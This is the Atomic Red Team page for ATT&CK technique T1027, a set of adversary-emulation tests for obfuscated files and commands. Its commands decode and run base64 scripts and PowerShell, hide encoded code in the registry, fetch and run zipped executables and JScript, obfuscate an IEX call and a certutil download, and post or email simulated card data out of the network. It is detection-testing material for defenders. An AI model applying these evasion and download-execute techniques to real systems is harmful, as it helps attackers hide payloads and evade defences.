T1027 - Obfuscated Files or Information

Description from ATT&CK

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016) Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

Atomic Tests


Atomic Test #1 - Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes

1
Hello from the Atomic Red Team
and uname -v

Supported Platforms: macOS, Linux

auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | shell_command | command to encode | string | echo Hello from the Atomic Red Team && uname -v|

Attack Commands: Run with
1
sh
!

1
2
3
4
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh

Cleanup Commands:

1
2
rm /tmp/encoded.dat 
rm /tmp/art.sh

Dependencies: Run with
1
sh
!

Description: encode the command into base64 file
Check Prereq Commands:
1
if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi
Get Prereq Commands:
1
2
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
echo "#{shell_command}" | $cmd > /tmp/encoded.dat



Atomic Test #2 - Execute base64-encoded PowerShell

Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is “Write-Host “Hey, Atomic!”

Supported Platforms: Windows

auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | powershell_command | PowerShell command to encode | string | Write-Host “Hey, Atomic!”|

Attack Commands: Run with
1
powershell
!

1
2
3
4
5
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand



Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry

Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

Supported Platforms: Windows

auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | registry_key_storage | Windows Registry Key to store code | string | HKCU:Software\Microsoft\Windows\CurrentVersion| | powershell_command | PowerShell command to encode | string | Write-Host “Hey, Atomic!”| | registry_entry_storage | Windows Registry entry to store code under key | string | Debug|

Attack Commands: Run with
1
powershell
!

1
2
3
4
5
6
7
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"

Cleanup Commands:

1
Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage}



Atomic Test #4 - Execution from Compressed File

Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

Supported Platforms: Windows

auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | url_path | url to download Exe | url | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip|

Attack Commands: Run with
1
command_prompt
!

"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"

Cleanup Commands:

taskkill /f /im calculator.exe >nul 2>nul
taskkill /f /im CalculatorApp.exe >nul 2>nul

Dependencies: Run with
1
powershell
!

Description: T1027.exe must exist on disk at PathToAtomicsFolder..\ExternalPayloads\temp_T1027.zip\T1027.exe
Check Prereq Commands:
1
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe") {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
4
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\" -Force



Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto_generated_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | input_file | Path of the XLSM file | path | PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm| | sender | sender email | string | test@corp.com| | receiver | receiver email | string | test@corp.com| | smtp_server | SMTP Server IP Address | string | 127.0.0.1|

Attack Commands: Run with
1
powershell
!

1
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}



Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | input_file | Path of the XLSM file | path | PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm| | ip_address | Destination IP address | string | 127.0.0.1|

Attack Commands: Run with
1
powershell
!

1
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"



Atomic Test #7 - Obfuscated Command in PowerShell

This is an obfuscated PowerShell command which when executed prints “Hello, from PowerShell!”. Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: Windows

auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f

Attack Commands: Run with
1
powershell
!

1
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f'nv','cO','ert')  ;  &("{0}{2}{3}{1}{4}" -f'In','SiO','vOKe-EXp','ReS','n') (  (&("{1}{2}{0}"-f'blE','gET-','vaRIA')  ('CMdw'+'h'+'y'))."v`ALUe"::("{1}{0}" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )



Atomic Test #8 - Obfuscated Command Line using special Unicode characters

This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation

Supported Platforms: Windows

auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_file | URL of file to download | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt| | local_path | Local path/filename to save the downloaded file to | path | Atomic-license.txt|

Run it with these steps!

  1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.

certutil —ૹu૰rlࢰca࣢c෯he –‮spli؅t‮‭ −”൏ᶠ൸” #{remote_file} #{local_path}

  1. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.



Atomic Test #9 - Snake Malware Encrypted crmlog file

The following Atomic Test will create a file with a specific name and sets its attributes to Hidden, System, and Archive. This was related to the Snake Malware campaign and is later decrypted by Snake’s kernel driver. Snake Malware - CISA

Supported Platforms: Windows

auto_generated_guid: 7e47ee60-9dd1-4269-9c4f-97953b183268

Attack Commands: Run with
1
powershell
! Elevation Required (e.g. root or admin)

1
$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host "File created: $($file.FullName)"

Cleanup Commands:

1
$fileNameToDelete = '04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'; $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) { Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete" } else { Write-Host "File not found: $fullPathToDelete" }



Atomic Test #10 - Execution from Compressed JScript File

Mimic execution of compressed JavaScript file. When successfully executed, calculator.exe will open. This test is meant to help emulate Gootloader as per https://redcanary.com/blog/gootloader/

Supported Platforms: Windows

auto_generated_guid: fad04df1-5229-4185-b016-fb6010cd87ac

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | url_path | url to download JScript file | url | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/t1027js.zip|

Attack Commands: Run with
1
command_prompt
!

"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"

Cleanup Commands:

taskkill /f /im calculator.exe >nul 2>nul

Dependencies: Run with
1
powershell
!

Description: T1027.js must exist on disk at PathToAtomicsFolder..\ExternalPayloads\temp_T1027js.zip\T1027js.js
Check Prereq Commands:
1
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js") {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
4
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip"
Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\" -Force